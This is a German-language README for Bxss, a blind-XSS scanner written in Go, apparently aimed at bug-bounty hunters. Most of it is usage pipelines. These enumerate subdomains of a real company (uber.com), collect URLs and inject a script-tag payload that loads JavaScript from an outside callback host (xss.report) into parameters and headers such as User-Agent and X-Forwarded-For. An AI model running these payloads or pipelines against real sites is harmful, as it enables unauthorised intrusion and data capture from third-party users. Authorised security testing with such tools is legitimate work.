Bxss – Blinder XSS Scanner

🚀 Beschreibung

Bxss ist ein leistungsstarker Blind-XSS-Scanner, der die Erkennung von Blind-XSS-Schwachstellen in Webanwendungen automatisiert.

✨ Funktionen

• Injiziert Blind-XSS-Payloads in benutzerdefinierte Header und Parameter
• Unterstützt mehrere HTTP-Methoden (PUT, POST, GET, OPTIONS)
• Hochgeschwindigkeits-Scanning mit Concurrency-Unterstützung
• Einfach mit anderen Tools kombinierbar
• Einfache Installation und Bedienung

🧠 In Arbeit

Wir arbeiten aktiv an der Integration eines Chromium-basierten Worker-Pools, um die Leistung von bxss auf leistungsschwachen Geräten zu verbessern.

Mit dieser Funktion können ressourcenintensive Aufgaben wie die DOM-basierte XSS-Erkennung oder die Überprüfung von Payloads nach dem Auslösen auf leichte Chromium-Instanzen ausgelagert werden, die über einen Pool verwaltet werden. Durch die effiziente Verteilung der Arbeitslast auf mehrere Headless-Browser-Kontexte bleibt bxss auch auf schwächeren Maschinen reaktionsschnell und nutzbar.

Dadurch wird bxss nicht nur leistungsstark, sondern auch unabhängig von Systemeinschränkungen äußerst zugänglich.

✅ Aufgaben

• Chromium-basierter Worker-Pool für DOM-Interaktion und visuelle Überprüfung
• Optionaler HTML/JSON-Berichtsausgabe
• Unterstützung für plattformübergreifende Payload-Anpassungen hinzufügen (XSS Hunter, Interactsh, etc.)
• Proxy-Unterstützung
• Import benutzerdefinierter Anfragen

🧪 Experimentelle Funktionen

• Trace-Modus (experimentell)

📦 Installation

go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest

⚙️ Argumente

🎬 Demonstration

📝 Was ist der Trace-Modus?

Der Trace-Modus ist eine experimentelle Funktion, mit der Sie nachverfolgen können, wo das BlindXSS ausgelöst wurde. Einige Drittanbieter-Plattformen für BlindXSS wie https://xss.report/ ermöglichen es Ihnen, benutzerdefinierte Parameter in Ihren Payloads anzugeben. Damit können Sie verfolgen, wo das BlindXSS ausgelöst wurde. Wenn Sie beispielsweise den Parameter url=https://somehost.com in Ihrem Payload angeben, verwendet das Tool das Payload

'"><script src=https://xss.report/c/username?url=https://somehost.com></script>'

zum Testen. Nach einem Auslöser können Sie das DOM inspizieren und sehen, von welchem Host das BlindXSS ausgelöst wurde.

Stellen Sie sicher, dass Sie beim Zuweisen benutzerdefinierter Parameter in Ihrem Dashboard url={LINK} zuweisen, damit bxss {LINK} automatisch durch die tatsächliche URL ersetzen kann.

🔥 Anwendungsbeispiele

Parameters

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-t

Append To Parameters

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-t

Both Headers & Parameters

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

X-Forwarded-For Header

subfinder -d uber.com \
| gau \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "X-Forwarded-For"

Custom Headers & Parameters

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

Google Dorks With Dorki

curl -X GET -H "Authorization: Bearer <Token>" \
-H "X-Secret-Key: <Secret>" \
https://dorki.attaxa.com/api/search?q=site:example.com -s \
| jq -r .[][].url \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>'

Custom Headers & Parameters With Rate Limit

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \ 
-t \
-rl 10

Für fortgeschrittenes Dorking und die Erkundung von Schwachstellen besuchen Sie Dorki und melden Sie sich noch heute an!

☕ Unterstützen Sie das Projekt

Wenn Sie mit diesem Tool eine Prämie erhalten, denken Sie darüber nach, mich mit einem Kaffee zu unterstützen!